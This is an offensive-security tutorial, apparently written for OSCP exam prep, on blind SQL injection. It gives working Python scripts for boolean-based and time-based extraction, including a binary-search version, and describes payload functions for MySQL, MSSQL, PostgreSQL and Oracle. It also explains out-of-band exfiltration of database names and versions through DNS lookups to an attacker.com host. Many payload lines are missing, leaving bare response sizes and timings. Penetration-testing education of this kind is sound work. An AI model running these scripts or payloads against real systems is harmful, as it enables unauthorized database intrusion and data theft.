Blind SQL Injection Exploitation
Blind SQL injection extracts data without seeing query results in the response. Boolean-based blind compares response differences between true and false conditions to infer data one character at a time. Time-based blind uses sleep delays when no response difference exists at all. Both are slow manually but scriptable. sqlmap automates the extraction when allowed. If error messages are visible, error-based extraction is faster. See the SQL injection hub for technique selection.
Blind SQL injection extraction methods compared:
- Boolean-based: compares response size or content between true/false conditions, faster than time-based, requires a visible response difference
- Time-based: uses conditional delays (SLEEP, WAITFOR, pg_sleep), works when no response difference exists, significantly slower
- Out-of-band (OOB): exfiltrates data via DNS or UNC callbacks, useful when neither boolean nor time-based works
- sqlmap automation: handles all techniques automatically, not permitted on OSCP
Boolean-Based Blind Extraction
With a confirmed boolean blind condition, extract data by testing one character at a time using SUBSTRING and comparing response size:
4823
612
The larger response for the true condition (version starts with 5) confirms boolean extraction works. Script the extraction to pull the full database version:
import requests, string
TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823 # size of a true condition response
def extract_char(position, query):
for char in string.printable:
payload = f"1 AND SUBSTRING(({query}),{position},1)='{char}'--"
r = requests.get(TARGET, params={'id': payload})
if len(r.content) == TRUE_SIZE:
return char
return None
result = ''
for i in range(1, 20):
char = extract_char(i, 'SELECT version()')
if not char:
break
result += char
print(f'Version so far: {result}')
print(f'Final: {result}')
Binary Search Optimization
The linear script above tests each printable character one at a time, up to 95 requests per character in the worst case. Binary search on ASCII values cuts this to 7 requests per character. Instead of testing = 'a', = 'b', = 'c', compare the ASCII value against the midpoint of the remaining range and halve it each time.
For a 20-character string, linear search needs up to 1900 requests. Binary search needs 140. The difference is significant on time-based blind where each request takes seconds.
import requests
TARGET = f'http://$TARGET_IP:$PORT/index.php'
TRUE_SIZE = 4823
def extract_char_binary(position, query):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))>{mid}--"
r = requests.get(TARGET, params={'id': payload})
if len(r.content) == TRUE_SIZE:
low = mid + 1
else:
high = mid
return chr(low) if low > 32 else None
result = ''
for i in range(1, 50):
char = extract_char_binary(i, 'SELECT version()')
if not char:
break
result += char
print(f'[{i}] {result}')
The same binary search logic applies to time-based extraction. Replace the response size check with a response time threshold:
import requests, time
TARGET = f'http://$TARGET_IP:$PORT/index.php'
DELAY = 2
THRESHOLD = 1.5
def extract_char_time(position, query):
low, high = 32, 126
while low < high:
mid = (low + high) // 2
payload = f"1 AND IF(ASCII(SUBSTRING(({query}),{position},1))>{mid},SLEEP({DELAY}),0)--"
start = time.time()
requests.get(TARGET, params={'id': payload})
elapsed = time.time() - start
if elapsed > THRESHOLD:
low = mid + 1
else:
high = mid
return chr(low) if low > 32 else None
Time-Based Extraction
When no response size difference exists, use conditional delays. Each character check either sleeps or does not, based on whether the condition is true:
real 0m3.121s
A 3-second delay confirms the condition is true: the database user starts with root. Combine with binary search on ASCII values to extract data efficiently:
real 0m2.098s
The 2-second delay confirms ASCII value > 64. Next test > 96 to narrow further. Seven iterations resolves any printable character.
Multi-Database Blind Payloads
The MySQL examples above use SUBSTRING(), IF(), and SLEEP(). Other databases use different functions for the same logic.
MSSQL
MSSQL boolean blind works with SUBSTRING() and CASE WHEN. Time-based uses WAITFOR DELAY through stacked queries. The WAITFOR approach requires the driver to support query stacking (PDO/ODBC does, most .NET drivers do).
4823
real 0m3.205s
PostgreSQL
PostgreSQL boolean blind uses SUBSTRING() the same way. Time-based uses pg_sleep(). PostgreSQL natively supports stacked queries through most drivers, making pg_sleep() widely available.
4823
real 0m3.187s
Oracle
Oracle boolean blind uses SUBSTR() (not SUBSTRING). Time-based uses DBMS_PIPE.RECEIVE_MESSAGE() which blocks for the specified number of seconds when called. This requires the EXECUTE privilege on DBMS_PIPE, which is granted to PUBLIC by default on many Oracle installations.
4823
real 0m3.342s
If DBMS_PIPE is not available, use a heavy query as an alternative delay mechanism. Cross-joining all_objects with itself generates a slow query, though the delay varies with database size:
real 0m4.715s
Out-of-Band (OOB) Extraction
When neither boolean nor time-based works (response is identical and WAF blocks delays), out-of-band exfiltration sends data through DNS or UNC path lookups to an attacker-controlled server. This requires the database server to make outbound connections. Set up a DNS listener or use a Burp Collaborator/interactsh instance to catch callbacks.
This forces a UNC path lookup to <version>.attacker.com, leaking the version string through DNS. Requires FILE privilege and only works when MySQL runs on Windows (UNC paths are a Windows concept). On Linux MySQL, this path is not available.
xp_dirtree makes a UNC/DNS request, leaking the database name through a DNS lookup to <dbname>.attacker.com. The data ends up as a DNS subdomain, so keep extracted values short (no spaces or special characters). For longer values, extract one substring per request. This works on both Windows and Linux MSSQL instances. Monitor with tcpdump -ni any port 53 or an interactsh client on the attacker machine.
Automating Extraction with sqlmap
For full credential dumps from blind injection, sqlmap handles the extraction automatically:
Important
sqlmap is prohibited in the OSCP exam. Do not use during exam environments.
References
-
PortSwigger: Blind SQL InjectionTOOL: PortSwigger: Blind SQL Injection, portswigger.net/web-security/sql-injection/blind (opens in new tab)
Boolean and time-based extraction methodology
-
Open-source OOB interaction server for DNS and HTTP callbacks